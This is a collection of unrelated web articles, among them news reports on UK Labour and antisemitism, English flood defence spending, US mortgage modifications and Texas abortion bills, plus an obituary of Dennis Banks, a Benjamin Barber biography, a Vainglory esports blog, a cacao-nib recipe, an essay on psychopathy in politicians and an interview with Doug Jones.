insist that there’s no connection between Israel and Jews, that it’s perfectly possible to loathe everything about Israel – the world’s only Jewish country – without showing any hostility to Jews.  Jews themselves usually don’t see it, or experience it, that way. That doesn’t mean no one should ever criticise Israel, for fear of treading on Jewish sensitivities. Of course it doesn’t. But it does mean that many Jews worry when they see a part of the left whose hatred of Israel is so intense, unmatched by the animus directed at any other state.  Labour expels activist described by PM as ‘9/11 sympathiser’ Read more  They wonder why the same degree of passion – the same willingness to take to the streets, to tweet night and day – is not stirred by, say, Russia, whose bombing of Syria killed at least 1,700 civilians; or the Assad regime itself, which has taken hundreds of thousands of Arab lives. They ask themselves, what exactly is it about the world’s only Jewish country that convinces its loudest opponents it represents a malignancy greater than any other on the planet?  Which brings us to Jeremy Corbyn. No one accuses him of being an antisemite. But many Jews do worry that his past instinct, when faced with potential allies whom he deemed sound on Palestine, was to overlook whatever nastiness they might have uttered about Jews, even when that extended to Holocaust denial or the blood libel – the medieval calumny that Jews baked bread using the blood of gentile children. (To be specific: Corbyn was a long-time backer of a pro-Palestinian group founded by Paul Eisen, attending its 2013 event even after Eisen had outed himself as a Holocaust denier years earlier. Similarly, Corbyn praised Islamist leader Sheikh Raed Salah even though, as a British court confirmed, Salah had deployed the blood libel.)  Thanks to Corbyn, the Labour party is expanding, attracting many leftists who would previously have rejected it or been rejected by it. Among those are people with hostile views of Jews. Two of them have been kicked out, but only after they had first been readmitted and once their cases attracted unwelcome external scrutiny.  The question for Labour now is whether any of this matters. To those at the top, maybe it doesn’t. But it feels like a painful loss to a small community that once looked to Labour as its natural home – and which is fast reaching the glum conclusion that Labour has become a cold house for Jews.
-Image copyright AFP Image caption About 16,000 homes across the North of England were flooded last winter  Half of all the money earmarked for new flood defences in England will be spent on protecting London and areas around the Thames, official figures show.  Analysis by BBC News has found £1.8bn will be spent on the Thames Estuary over the next century out of a £3.7bn national flood spending programme.  About 16,000 homes were flooded across the North of England a year ago.  The Environment Agency said it invested money "where it will have the most benefit".  The disparity in regional flood defence spending comes as many flood victims remain homeless, 12 months after storms Desmond and Eva devastated parts of Yorkshire, Lancashire and Cumbria.  Image copyright Getty Images Image caption Areas alongside the Thames in London such as Chiswick were also flooded in February  Image copyright PA Image caption The Thames Valley suffered serious flooding in early 2014  The Thames also flooded last year with riverside areas of central London left under water. And the South East of England was badly flooded three winters ago, with rivers including the Thames, the Darent in Kent and the Ash in Surrey all flooding nearby homes.  "Nothing can prepare you for the destruction of your home. I had to seek help from my GP for depression," said Roger Pierce, who was flooded in York on Boxing Day.  Mr Pierce's home was one of about 400 flooded when the Foss Barrier, a local flood defence, failed.  Image copyright Getty Images Image caption Parts of York were devastated when the banks of the River Ouse and Fosse burst their banks  "I just don't trust the Environment Agency, it talks mainly about improving flood resilience," he said.  "I don't want my home to be resilient to flooding, I just want the flood defences in my community to work and stop the water ever causing damage in the first place."  The analysis of the flood defence spending was undertaken by BBC Yorkshire.  Image copyright Getty Images Image caption Carlisle and other communities in Cumbria were also hit by severe flooding a year ago  Image copyright PA Image caption The Thames Barrier has been protecting Londoners from flooding since the 1980s  It found the Environment Agency and local councils have already committed to spend at least £3.7bn on a variety of flood defence and coastal erosion projects up to and beyond 2021.  When further developmental projects are accounted for, £6.1bn worth of new defences are earmarked for construction across England.  However whereas the East of England will receive £381 worth of flood defence spending per person, the North West of England will receive just £48 per head of population.  Spending on the Thames Estuary alone is expected to total at least £1.8bn, which is four times as much as will be spent on flood defences in the whole of Yorkshire and The Humber.  The agency said it had earmarked the Thames Estuary up until 2100 as it required special modelling to understand the impact of flooding on the Thames.  A spokesperson for the Environment Agency, the body that spends the most on flood defences in England, said its investment had reached a record level of £2.5bn and it was on target to protect 300,000 homes by the year 2021.  "We invest in flood defences where the risk is highest, wherever it is across the country, giving each scheme careful consideration to where it will benefit the most people and property," the spokesperson said.  "So we are investing £446m of government funding in Yorkshire to better protect 71,000 homes from flooding and £193m across Cumbria and Lancashire to better protect over 35,000 homes."  Professor Dieter Helm, of the University of Oxford, said the Environment Agency should be replaced by a network of newly created flood defence companies that would be accountable at a local level.  "Every time we have flood, we throw some more money at the problem and hope it doesn't happen again," he said.  "But spending more money isn't the answer so I would split the Environment Agency up, and then stop building on flood plains and maintain our uplands better so we start to ease the flow of water into our rivers."  Image caption Professor Dieter Helm believes the current system of building and managing flood defences is unsustainable  There is evidence to suggest rivers in parts of England are rising, owing to climate change, the building of new homes and a change in how agricultural land is used.  Data seen by the BBC shows the River Ouse in York had an average yearly peak between 1890 and 1900 of 8.5 metres a year. However since 2010 the average peak of the river has been 9.3 metres high.  "Last year was the wettest December on record," said Dr Lee Brown from the University of Leeds  "The climate models suggest that what we saw last year during Storm Desmond and Eva should become the norm in the future."
-The report continued: “Even among borrowers who receive five-year modifications, some will eventually fall behind on their payments and once again face foreclosure. In the final reckoning, the goal itself seems small in comparison to the magnitude of the problem.”  The Treasury took issue with the report and said the pace of modifications was picking up. The number of active permanent modifications in March was 227,922, an increase of 35 percent from those in February. An additional 108,212 permanent modifications are awaiting borrower approval.  Shaun Donovan, secretary of Housing and Urban Development, said in an interview that those were the important numbers to focus on.  “One percent of these loans defaulting is a tiny fraction,” Mr. Donovan said. “Given how stressed these borrowers are, even in the best situation, there will be redefaults. But I don’t think there is any evidence that would cause us to worry at this point.”  Julia R. Gordon, senior policy counsel for the Center for Responsible Lending in Washington, said she expected the number of post-modification defaults to continue to rise.  Photo  “It’s definitely alarming to look at those statistics,” she said. “The current model for modifications doesn’t necessarily produce sustainable results.”  While the program is too new to predict its long-term success, the data on previous modification efforts is not encouraging.  Advertisement Continue reading the main story  Sixty percent of modifications undertaken by banks in late 2008 were in default a year later, according to the latest Mortgage Metrics Report compiled by the Office of Thrift Supervision and the comptroller of the currency.  Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.  Many of these private plans either kept the payments the same or increased them. Inevitably, those mortgages suffered the highest failure rate: about two-thirds of the borrowers defaulted again.  Loans for which the payments were decreased by at least 20 percent failed at a slower but still significant rate of about 40 percent.  The government program takes a more aggressive approach, lowering the interest rates for all loans. On many loans, terms are also extended or principal payments put off for years. Treasury data shows that the median savings for borrowers receiving permanent modifications is $512 a month.  Many borrowers remain deeply indebted, however. They owe not only on the house, but on homeowner association fees, home equity loans, car loans, alimony and credit card interest.  Even after modification, $61 out of every $100 earned by the borrower goes to servicing debt, government figures show. For increasing numbers of modification recipients, mortgage relief is apparently not enough to stave off financial collapse.  “If you can help 60 percent, and 40 percent have to fall back, is that worthwhile?” asked John Courson, president of the Mortgage Bankers Association. “Clearly for the 60 percent it was, and the 40 percent weren’t going to make it anyway.”  The Treasury said on Wednesday that it had always anticipated that some homeowners would not sustain a modification, which was one reason the program had been greatly expanded. New elements focus on allowing distressed homeowners to sell their properties for less than they owe and on shaving the principal owed by borrowers.  The notion of cutting principal, however, has already run into some resistance from the big banks, which do not want borrowers to get the idea that their mortgage can be chopped on a whim.
-AUSTIN -- Texas isn't shying away from new abortion legislation after suffering a major blow in the Supreme Court this summer.  Lawmakers filed multiple bills Monday that aim to further regulate the practice in the state, all of which will be brought up in the legislative session next year.  Possibly the most contentious of the bills was proposed by Rep. Matt Schaefer, R-Tyler. House Bill 87 would prohibit women from having abortions after 20 weeks because of a fetal abnormality. Current rules allow abortions to take place after 20 weeks only if the fetus is not viable, if the abortion is necessary to prevent death or serious impairment to the woman or if the fetus has a severe abnormality.  Schaefer also proposed a bill that would require abortion facilities to submit monthly, instead of annual, reports to the state on each abortion performed. House Bill 144 states that the report, however, would not identify "by any means an abortion facility, a physician performing the abortion, or a patient."  House Bill 201, which was filed by Rep. Byron Cook, R-Corsicana, would write the state's proposed fetal remains rules into law. The rules would essentially require fetal remains, regardless of the period of gestation, to be cremated or buried. Current rules allow for fetal remains to be incinerated or ground until rendered unrecognizable and disposed of in a sanitary landfill.  Joint Resolution 9, filed by Sen. Bob Hall, R-Edgewood, proposes a state constitutional amendment that would extend rights of life and liberty to unborn children and prohibit abortion to the extent authorized under federal law. To take effect, the resolution would have to be approved by a two-thirds majority of both chambers and a majority of state voters.  Although the bills could place some restrictions on abortions in the state, Texas hasn't introduced major legislation on the issue since House Bill 2 in 2013, which the Supreme Court partially struck down in June.  The bill would have forced clinics to have admitting privileges at nearby hospitals and to meet hospital-like standards. If the law would have gone into effect, it would have left as few as 10 clinics in the state. By the time of the ruling, half of the abortion clinics in the state had closed.
-Chicago's historic Allerton Hotel has been sold to a Paris based hotelier and will be receiving a new name, the Warwick Allerton Hotel. In addition to its new ownership and name, the Allerton's famous Tip Top Tap may be making a comeback. Warwick International, the company who now owns the 443 room Allerton has purchased several other Art Deco-era hotels throughout the country, including the Warwick New York. Allerton's Tip Top Tap was a popular nightlife destination during the jazz age but closed in 1961. The hotel went through a major renovation after it received landmark status in 1999 and its Tip Top Tap was turned into a ballroom. According to Crain's, Warwick is currently mulling over different plans for a Tip Top Tap "renaissance", but has not yet fully committed to the idea of converting the space back to a bar and lounge. With Chicago's hotel boom well underway, reviving the old swanky lounge could be a smart way to compete with nearby amenity-rich hotels.  · Will Tip Top Tap lounge make a comeback? [Crain's]  · Previous Hotel Boom Town coverage [Curbed Chicago]
-And Dennis Banks, the legendary Anishinaabe leader and Native American activist, has died at the age of 80. In 1968, Banks co-founded the American Indian Movement. A year later, he took part in the occupation of Alcatraz Island in California. In 1972, he assisted in AIM’s “Trail of Broken Treaties,” a caravan of numerous activist groups across the United States to Washington, D.C., to call attention to the plight of Native Americans. That same year, AIM took over the Bureau of Indian Affairs building in Washington, D.C. In early 1973, AIM members took over and occupied Wounded Knee on the Pine Ridge Indian Reservation for 71 days, which some have come to call Wounded Knee II. Speaking with Democracy Now! in 2012, Dennis Banks recounted how he was taken from his family in the 1940s and forced into a boarding school along with thousands of other Native American children.  Dennis Banks: “I was taken to a boarding school when I was four years old, and taken away from my mother and my father, my grandparents, who I stayed with most of the time, and just abruptly taken away and then put into the boarding school, 300 miles away from our home. And, you know, the beatings began immediately, the—almost the de-Indianizing program. It was a terrible experience that the American government was experimenting with. And that was trying to destroy the culture and the person, destroy the Indian-ness in him and save the human being, save the—kill an Indian, save the man.”  Dennis Banks remained politically active throughout his life. Last winter, he joined protests against construction of the Dakota Access pipeline at the Standing Rock Reservation in North Dakota. Dennis Banks died Sunday night due to complications from heart surgery. He will be laid to rest in his home community of Leech Lake, Minnesota.
-This article is about the American political theorist. For the Australian actor, see Ben Barber  Benjamin R. Barber (August 2, 1939 – April 24, 2017) was an American political theorist and author, perhaps best known for his 1995 bestseller, Jihad vs. McWorld, and for 2013's If Mayors Ruled the World as well as the classic of democratic theory, 1984's Strong Democracy (revised in 2004). He became a top-level international consultant on participatory democracy as well as an adviser to Bill Clinton, Howard Dean, and Muammar Gaddafi.  Personal life [ edit ]  Barber was born in New York City in 1939. He was educated at Grinnell College (B.A., 1960) and Harvard University (M.A., 1963; Ph.D., 1966), after earning certificates at Albert Schweitzer College (1959) and the London School of Economics (1957).  Barber's father, Philip W. Barber, directed the New York City unit of the Federal Theatre Project, which produced plays including Macbeth and the Living Newspaper. His mother, Doris Frankel, was a playwright and wrote for television.[1] Barber was also active as a playwright, lyricist (libretto for George Quincy's opera Home and the River) and film-maker (The Struggle for Democracy, with Patrick Watson, and Music Inn, with Ben Barenholtz).  Barber died on April 24, 2017, after a four-month battle with cancer.[2][3][4]  Career [ edit ]  Barber was a Senior Research Scholar at The Center on Philanthropy and Civil Society of The Graduate Center, The City University of New York, the President and Founder of the Interdependence Movement, and Walt Whitman Professor of Political Science Emeritus, Rutgers University.[5] In 2001 he joined the Department of Government and Politics at the University of Maryland as Kekst Professor of Civil Society.[6] From 2007[7]–2012, he was a Distinguished Senior Fellow at Demos.  As a political theorist, Barber argued for a renewed focus on civil society and engaged citizenship as tools for building effective democracy, particularly in the post-Cold War world. His work examined the failure of nation-states to address global problems, and argued that cities and intercity associations are more effectively addressing shared concerns. Barber was a Senior Fellow at the USC Center on Public Diplomacy in 2005–2017. In February 2016, he joined the Fordham University Urban Consortium as its first Distinguished Senior Fellow[8] and announced the inaugural convening of the Global Parliament of Mayors.[9]  Barber was an outside adviser to President Bill Clinton and a foreign policy adviser to Howard Dean's 2004 Presidential campaign. He advised political parties and political leaders in the UK, Germany, Austria, Denmark, Finland and Italy on civic education and participatory institutions.  Barber met with and worked alongside civil society and government leaders in Turkey, the United Arab Emirates, China, and Moammar Gadhafi's Libya.[10][11][12]  Meaning and central thesis of Strong Democracy [ edit ]  In the 2004 preface to his Strong Democracy, Barber explains the central premise of that book: "Once established strongly in the political and civic realm, democracy can assure sufficient equality and justice to coexist with a variety of economic systems." He goes on to say that his goal in writing that book was not "to replace representative with strong democracy, but to thicken thin democracy with a critical overlay of participatory institutions." Barber went on to propose "a national initiative and referendum act" which would "permit Americans to petition for a legislative referendum either on popular initiatives or on laws passed by Congress."  Honors [ edit ]  Barber's honors included a knighthood from the French Government (Palmes Academiques/Chevalier) (2001), the Berlin Prize of the American Academy in Berlin (2001) and the John Dewey Award (2003). He was also awarded Guggenheim, Fulbright, and Social Science Research Fellowships,[13] honorary doctorates from Grinnell College, Monmouth University and Connecticut College, and held the chair of American Civilization at the École des hautes études en sciences sociales in Paris.[14]  2016 elections [ edit ]  In November 2016, Barber was falsely cited as a "major Hillary donor" and recorded expressing his opinion that black voters who vote for Republicans are voting against their own interests, in a Project Veritas undercover video produced earlier in the year.[15] Project Veritas which now works with the alt-right media outlet "Breitbart News" filmed Barber without his knowledge. Project Veritas has been criticized for misleading audiences, splicing video footage, entrapping people, lying, fraud etc.[16][17]  When confronted about his remarks by news station WRAL, Barber responded that the analogy to Sonderkommandos "was an overstatement and not one that I would make in public. I stand by the basic view that people of color – Latinos and African-Americans and others – who are voting for Trump are voting in total disregard of their own long-range interests and in total obliviousness to everything that Trump has said about Latinos, about immigrants, about African-Americans, his own racist record."[18]  Barber donated $12,825 to various political campaigns between 2008 and 2016,[18] and he described himself as an experienced fundraiser in his biography.[19]  Bibliography [ edit ]  References [ edit ]  Further reading [ edit ]
-There were a few comments a while ago that raised the topic of Thomas Merton’s relationship with Orthodoxy, and TheraP mentioned a review that he had written on Father Alexander Schmemann’s work. I had read the review in Monastic Studies (no. 4, Advent 1966: 105-115) earlier this year, and since reading Father Schmemann’s The Eucharist Sacrament of the Kingdom: Sacrament of the Kingdom, had been wanting to return to it. TheraP drew my attention to the fact that it had also been included in the volume Merton & Hesychasm: The Prayer of the Heart & the Eastern Church (The Fons Vitae Thomas Merton series), and this weekend I have been visiting friends who have this book. The whole book looks fascinating and there are several other essays that I have dipped into and would like to read properly, both by Merton and by people like Metropolitan Kallistos Ware, Canon A.M. Allchin, Rowan Williams and Jim Forest. But I re-read his review of Father Schmemann’s Sacraments and Orthodoxy and of Ultimate Questions. Here are a few extracts:  …Sacraments and Orthodoxy, a powerful, articulate and indeed creative essay in sacramental theology which rival Schillebeeckx and in some ways excels him. Less concerned than Schillebeeckx with some of the technical limitations of Catholic sacramental thought, Schmemann can allow himself to go the very root of the subject without having to apologize for his forthrightness or for his lack of interest in trivialities.  Let the reader be warned. If he is now predisposed to take a comfortable, perhaps exciting mysterious, excursion into the realm of a very “mystical” and highly “spiritual” religion, the gold-encrusted cult thick with the smoke of incense and populated with a legion of gleaming icons in the sacred gloom, a “liturgy which to be properly performed requires not less than twenty-seven heavy liturgical books,” he may find himself disturbed by Fr. Schmemann’s presentation. Certainly, Sacraments and Orthodoxy will repudiate nothing of the deep theological and contemplative sense of Orthodox faith and worship. But the author is intent on dispelling any illusions about the place of “religion” in the world of today. In fact, one would not suspect from the title of this book, it is one of the strongest and clearest statements of position upon this topic of the Church and the world. (474) ….  The heart of Fr. Schmemann’s argument is that the Church’s vocation to worship and witness in the world is a vocation to a completely eucharistic view of all creation, a view which, far from setting aside worship and confining it to a special limited area of cult, sees and celebrates the world itself as “meaningful because it is the sacrament of God’s presence.” “Life itself,” he continues, in terms that would perhaps disconcert those habituated to the strict logical categories of scholastic thought, “is worship.” “We were created as celebrants of the sacrament of life.” Man is regarded by Fr. Schmemann as naturally homo adorans, the high priest of creation, the “priest of the cosmic sacrament” (the material world).  Even in his most fallen and alienated state, far from the Church and from the vision of God, man remains hungry for the eucharistic life. He longs, unconsciously, to enter into the sacred banquet, the wedding feast, the celebration of the victory of life over death. But his tragedy is that he is caught in a fallen world which is confused and opaque, which is no longer seen as “sacrament” but accepted as an end in itself. That is to say, it is no longer seen as a gift to be received from God in gladness and returned to Him in praise and celebration. It is accepted on its own terms as an area in which the individual ego engages in a desperate struggle against time to attain some measure of happiness and self-fulfillment before death inevitably ends everything. Even when he seeks a “religious” answer to his predicament in the fallen world, man finds himself struggling to produce “good behavior” to make things come out so that he will have happiness in the world – or, failing that, in the next.  Even Christianity sometimes ends up by being a pseudo Christian happiness cult, a judicious combination of ethical tranquilizing and sacramental happy making, plus a dart of art and a splash of political realism (a crusade!). This of course calls for specialists in counselling, men trained to give the right answers, engineers of uplift! “Adam failed to be the priest of the world and because of this failure the world ceased to be the sacrament of divine love and presence and became ‘nature’. And in this ‘natural’ world, religion became an organized transaction with the supernatural and the priest was set apart as the transactor.” It is precisely from this state of affairs that secularism arises: “Clericalism is the father of secularism.”  True to the tradition of the Greek Fathers, Fr. Schmemann sees all life as “cosmic liturgy,” and views man as restored by the Incarnation to his place in that liturgy, so that, with Christ and in Christ, he resumes his proper office as high priest in a world that is essentially liturgical and eucharistic. The function of the Church (and of the sacraments) is then to lead all mankind back on a sacred journey to reconciliation with the Father. In the liturgy, the Church calls together all men and invites them to join ranks with her and, in answer to the “tidings of great joy,” to go out in procession to meet the Lord and enter with Him into the wedding banquet which is His Kingdom of joy and love. (477-478)  Advertisements
-Much like mobile gaming as a whole, the popular MOBA game Vainglory for mobile devices by Super Evil MegaCorp is entering that awkward adolescent age between the awe of childhood, and the gritty reality of adulthood.  …I see this influx of player run events as a good thing for the community and the future of the game despite the appearance of over-saturation.  Just 4 months after the official launch of the game, a thriving player community has emerged, due to Super Evil Mega Corp’s seemingly unwavering commitment to their fans. And at the center of this growing community of mobile gamers is a burgeoning competitive scene that is hungering for the tools and official backing to compete on a worldwide level. And while undoubtedly a small percentage of the overall user base, the “High ELO” players have fragmented away from the casual player base, focusing on competitive play and the future of the game. This need for competition has lead to a flood of player run tournaments, leagues and organized team matches, with new ones popping up daily. Having been a sponsor of the recently completed Vainglory Championship Series, and now a partner with the VGL at VaingloryLeague.com, I wanted to discuss why I see this influx of player run events as a good thing for the community and the future of the game despite the appearance of over-saturation.  True to the MOBAs before it, at the very heart of Vainglory is competition. For pure fun-factor, the game is amazing, however it is the competitive aspect which brings you back, game after game, motivated to improve and learn from your mistakes to outdo the other team. And as you get better and better and rise in ranks the competition thins leaving the highest ranked players (Pinnacle of Awesome / Vainglorious) left wanting. SEMC has gone on record stating that there will be no officially sanctioned tournaments or leagues until at the very least Spectator Mode has been implemented within the game. This has forced the player community to create their own tournaments and leagues in order to scratch that itch of competition. I have seen comments that this saturation of player run events could be a detriment to the future of the competitive game and the “High ELO” player base. Being someone that is actively involved in the organizational side of Vainglory competitive play, I wanted to provide my thoughts on the situation:  At the time of writing, there are currently three main events happening:  LEV – League of Extraordinary Vainglorians  10 Weeks – 50 Teams compete in a seasonal league structure with top 32 teams advancing to the Tournament of Champions.  VGL+NA 3v3 Cup – Vainglory League / North America  4 Weeks – 32 Teams compete in a bracketed tournament with randomized seeding. – North American Servers Only (http://www.vaingloryleague.com/tournament/3on3-cup-na-1/)  VGL+EU 3v3 Cup – Vainglory League / Europe  4 Weeks – 16 Teams compete in a bracketed tournament with randomized seeding – European Servers Only (http://www.vaingloryleague.com/tournament/3on3-cup-1/)  Each of these events offers something unique and valuable for the competitive player.  For the LEV, we’re talking about the first true attempt at a seasonal league within the Vainglory community. With a $1000 in cash prizes and bonus ICE for top placing teams, this is an exciting prospect for the High ELO scene. This structure should provide teams the opportunity to play against the best in the world while gaining valuable knowledge of how to improve their game over the course of the 10-week season. This is a fairly long-term commitment for a game that has only been around twice that (approx. 20 weeks.), however, the opportunity is invaluable.  With both the VGL+NA & VGL+EU 3v3 Cups, we’re talking about a traditional style tournament format with 32 regional teams being placed within a randomly seeded bracket. This is a single elimination structure, with losing teams being dropped each round. However, due to the shortened schedule, losing teams can continue to practice and improve for next months cup event. The shortened timeline also allows new players and teams to enter the fray and evaluate their play level within a competitive environment. These tournaments can act as a valuable proving grounds as teams prepare for either an officially sanctioned season One with SEMC, or future LEV or VGL leagues.  One other event of note are the Sunny Sunday events being coordinated by the VGL. These 8 team events are spontaneous, 1-day – 2vs2 tournaments that pit teams head to head for a winner takes all event. The Sunny Sunday events are live streamed from beginning to end at twitch.tv/vaingloryleague and offer teams the chance to flex their skills for the glory of the Sunny Sunday. These are fun events focused on the players and teams, and produce the excitement of a full scale tournament, consolidated into a 4-5 hour window.  While this large offering of competitive play may feel overwhelming for the currently small base of high-elo players, I believe this offers every skill tier an opportunity to try their hand at competitive play, and will only create a better experience in the long run for the community. With the impending release of spectator mode, and the ability for true 3v3 competitive play, I think we are just scratching the surface of what will be possible within this space.  The future is bright for Vainglory and the players that make up this community! Now go play 🙂  ~Vainshame  What do you think? Agree or disagree? Let me know in the comments or on twitter @vainshame
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-This Raw Cacao Nib Coconut Bites recipe is in my top 5 favorite desserts as it’s so unbelievably delicious, easy and fast to make. Just about 3 minutes of your time. BOOM!  Oh my, it’s 6.30 am and I’ve already stuffed my face with a few of these cacao nibs coconut bites and kinda lost my appetite for breakfast. Just looking for some writing inspiration, that’s all. Good morning, by the way. :)  Still can’t believe that I’ve become pretty obsessed with coconut and now I’m eating it with everything. I’m having a serious coconut love affair! :)) I use it in my müsli-from-scratch for breakfast and smoothies. So why not incorporating it into my special sweet treats, too?!  Do you remember my first experiment called Mini Chocolate Energy Balls that features raw cacao powder and cashew? I was telling you back then that I had to slightly adapt Scott Jurek’s recipe (the famous American ultra-marathoner) as I couldn’t find cacao nibs in the natural food store. Those treats were a lifesaver for me because they have helped me to improve my speed-endurance – I mean the pace at which I can cover substantial distances. To give you an example, last week I ran 15 km in 1h:11mins. It’s my new record.  However, I bought cacao nibs the other day, try them again and it turned out a million times better than I could have ever expected. They are seriously more incredible than anything, so I HAD to share them with everybody. Even with my neighbors … and those guys that interviewed me two days ago… And guess what?! They all said: “Can I take another one?” :))))  The coconut just adds the most incredible flavor to the cacao nibs, making each bite so darn delicious. I’d say that the flavors complement each other so perfectly, that both flavors remain subtle, yet still present and sweetish with a slightly buttery texture thanks to the addition of cashew.  They literally melt in your mouth!  Seriously, there are so many different possibilities with these little bites. For example, you could dress them up by rolling them in a variety of different toppings – crushed walnuts, crushed cashew, cacao powder, sunflower seeds, chia seeds, and so much more – I for one will try them all.  Make them this weekend and keep them in the fridge for a few days, just so you always have a delicious healthy treat when in need!  4.5 from 2 reviews Print Raw Cacao Nib Coconut Bites Author: Cook it fit Prep time: 3 mins Total time: 3 mins Serves: 20 These raw bites that feature raw cacao nibs and coconut are the perfect healthy treat you deserve every single day. Not to mention they are raw vegan, dairy-free and sugar-free – and they take up maximum 5 minutes of your time. Ingredients - 1 cup cacao nibs  - 1 cup raw crushed cashew  - 10 medium dates  - 2 tablespoons of shredded coconut (the ones without sugar)  - 1 tsp ground cinnamon  - ½ tsp red pepper flakes  - a pinch of sea salt  - 2 tablespoons of coconut oil (warmed to liquid consistency) Instructions Combine all the ingredients except the coconut oil and coconut flakes in a food processor and process for a few minutes until chopped to a fine texture. Transfer the mixture to a mixing bowl. Add the melted coconut oil and stir until well combined. Form into 1-inch round balls and roll them in shredded coconut to slightly cover the entire bite and amp up the cacao nibs flavor. Then place them on waxed paper ideally (baking paper will do just fine too) and refrigerate for 15 to 20 minutes, then transfer them to an airtight container. Notes The bites will keep for 2 weeks, refrigerated.  Recipe slightly adapted from Scott Jurek.  Did you make this recipe? Then please let me know how it turned out for you! Leave a comment below and share a picture on Instagram with the hashtag #cookitfit! Wordpress Recipe Plugin by EasyRecipe 3.3.3070  Have you tried this recipe before? If not, what’s your favorite combo?Be healthy and happy!  With love, Cris
-The question, then, is whether it is reasonable to believe that people with serious abnormalities in the way they interact with the world can be found running for (and winning) office. However unsettling as this may be, the answer seems to be yes. It's possible for psychopaths to be found anywhere -- including city hall or Washington, D.C. Remember, psychopaths are not delusional or psychotic; in fact, two of the hallmarks of psychopathy are a calculating mind and a seemingly easy charm.  In his landmark book on psychopathy, The Mask of Sanity, researcher Hervey Cleckley theorized that some people with the core attributes of psychopathy -- egocentricity, lack of remorse, superficial charm -- could be found in nearly every walk of life and at every level, including politics. Robert Hare, perhaps the leading expert on the disorder and the person who developed the most commonly used test for diagnosing psychopathy, has noted that psychopaths generally have a heightened need for power and prestige -- exactly the type of urges that make politics an attractive calling.  There is more at work than just the drive to seek office, though; psychopaths may have some peculiar talents for it, as well. Research has shown that disorder may confer certain advantages that make psychopaths particularly suited to a life on the public stage and able to handle high-pressure situations: psychopaths score low on measures of stress reactivity, anxiety and depression, and high on measures of competitive achievement, positive impressions on first encounters, and fearlessness. Sound like the description of a successful politician and leader?  Doubtless, it's easier to see some leaders as psychopaths than it is others. Presumably, no one would dispute the notion that Hitler and Stalin were psychopaths at the extreme end of the spectrum: completely unconstrained by empathy or guilt and willing to say or do anything to accomplish their goals. This, though, reinforces the perception of psychopaths as out-of-control madmen who are evil to the core. Might there be other, more mainstream political leaders who have psychopathic traits but fall closer to the "normal" range? Some have certainly thought so.  In 2003, neuropsychologist Paul Brok argued that Prime Minister Tony Blair was a "plausible psychopath" who was ruthlessly ambitious, egocentric, and manipulative. Respected psychologist and researcher David Lykken has written:  If we can believe his biographer, Robert Caro [...] Lyndon Johnson exemplified this syndrome. He was relatively fearless, shameless, abusive of his wife and underlings, and willing to do or say almost anything required to attain his ends.  In any event, the idea that a psychopath could reach the heights of power is nothing new. Over a century ago, famed American philosopher and psychologist William James said, "When superior intellect and a psychopathic temperament coalesce [...] in the same individual, we have the best possible conditions for the kind of effective genius that gets into the biographical dictionaries." Perhaps, then, that's the key; it's the combination of other talents with certain elements of psychopathy that can make an effective leader.  Which brings us back to those currently tossing about the label of psychopath -- ironically, some of them may not be denigrating the candidates as much as they suppose.
-Doug Jones spoke to Lexington in Mobile, Alabama, on November 10th. The previous day the Washington Post had published a report alleging that Roy Moore, his Republican rival for an Albama Senate seat, had a history of pursuing and molesting teenage girls. Mr Jones, seated in the office of a friendly law firm and wearing his trademark “Doug Jones: US Senate" white sports shirt, was enjoying a pit-stop between a Veteran’s Day parade and joint appearance before a black crowd with Congressman John Lewis. He seemed a bit warier than a more seasoned politician, but was engaging nonetheless.  The Economist: What is at stake in this contest?  Doug Jones: I think there is a lot at stake for Alabama. People put it in a broader context but I think for Alabama, in particular as it stands now, Alabama has a choice of either going forward or backwards in my opinion. My campaign has been built from the very beginning even in in the primary on having dialogues not monologues, built on trying to bring people together, to have a unifying voice, reaching across the aisle, because I truly believe that as a state and a country we need to try to bring people together to try to find some common ground. We’ve been talking about that right from the beginning, and that is still what our campaign is about. Now I’ve got issues that I want to do that with, but at the end of the day in order to move any issue forward you have to find common ground with people who might take a different approach.  Get our daily newsletter Upgrade your inbox and get our Daily Dispatch and Editor's Picks.  What is there to persuade you there are enough people in Alabama who are receptive to that, who don’t want division?  I think people are very tired of the gridlock, very tired of the fighting, they see nothing but chaos, nothing but that people cannot get things done. And they are beginning to realise…the healthcare debate that really has been going now since January, I think the healthcare debate has allowed people to focus on issues. Because they see a system that is not working the way it’s supposed to be, some would say it’s broken, but the responses have been more political than they have been caring. They’ve been political, repeal and replace, or they have been, no, we’re not going to do any of that. And so, what they want to see is, look, this is my life, our healthcare is such a fundamental issue for us, we want people to talk to each other, try to get something done that’s going to help everybody.  Well, this may be what you and I think, what the pundit class thinks, but another reading of politics in the last couple of years is that, actually, issues don’t matter.  I agree with that, but what I’m saying is this health-care debate has to some extent, at least in Alabama, changed that. You’ve seen it in polling, you saw it in Virginia the other night, when the number one thing people voted on was health care. I think that this issue has helped people do what I call a political reset button and start looking at issues and they want to see something done. In Washington, DC right now you’ve got one party that controls the presidency, the House and the Senate. Nothing’s getting done. And it’s not getting done in part because the parties are fighting and will not try to find common ground.  So your pitch is a bipartisan pitch?  Yes and no. I’m running as a Democrat, because my belief system is more consistent with working-class people and I try to do things to help people and lift all boats. But at the same time I recognise that to get anything done progress has got to be made on both sides of the aisle. You’ve got to find that common ground.  Are there any Republicans you wouldn’t work with?  In the Senate? No. But at the same time it’s a two-way street, it’s not just me running around and knocking on doors up there and saying, ‘Hey will you work with me?’ I hope that a voice like mine, a Democrat voice from the south, will be able to reach across that aisle and find that common ground and that middle ground.  How would it help that you’re from the South?  I think it helps because so many of the divisions in this country started in the South. It doesn’t matter what you talk about, politics or whatever. Many of the divisions started in the South decades and decades ago. So when you’ve got someone from the South trying to heal those, and try to to bring people together, people take notice.  Give me an example of a particular division?  I’m talking about anything.  You’re talking about race?  I’m talking about race certainly, but I think about any issue that addresses the people of the country, the folks that need health care, that need jobs, I think you don’t necessarily expect that voice to come from the South, a voice that’s going to be right there talking to everyday people, no matter where they are. I think the people of this state have more that unites than divides us. I believe the people of the country do too, but we’ve just got to find it. We’ve got to find it. And right now the reason we’ve had a problem so much is because our politics are defined by issues that divide us. Roy Moore wants to do that, Roy Moore has consistently used divisive issues to try to polarise people.  But isn’t that a pretty successful template?  It has been, but it hasn’t always been. You know, it has been, but that doesn’t mean it has to be every election. So, you know, we’ll see. It may or may not be for this election 